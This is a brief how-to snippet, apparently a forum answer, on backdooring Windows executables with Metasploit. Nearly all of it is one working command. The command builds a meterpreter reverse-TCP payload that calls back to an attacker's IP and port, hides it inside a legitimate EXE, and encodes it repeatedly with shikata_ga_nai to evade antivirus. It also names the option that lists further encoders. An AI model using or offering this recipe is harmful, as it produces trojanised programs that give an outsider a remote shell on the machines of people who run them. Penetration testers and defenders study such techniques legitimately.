If your purpose is to backdoor EXE files:
(1) you have to create a payload and
(2) embed that payload in your specified exe.
You can achieve this by these commands:
msfpayload windows/meterpreter/reverse_tcp LHOST=YOURIP LPORT=YOURPORT R | msfencode -t exe -x /tmp/programtobackdoor.exe -o /tmp/mybackdoor.exe -e x86/shikata_ga_nai -c 5
If you want to learn more:
type msfencode -h and msfencode -l to see available encoders.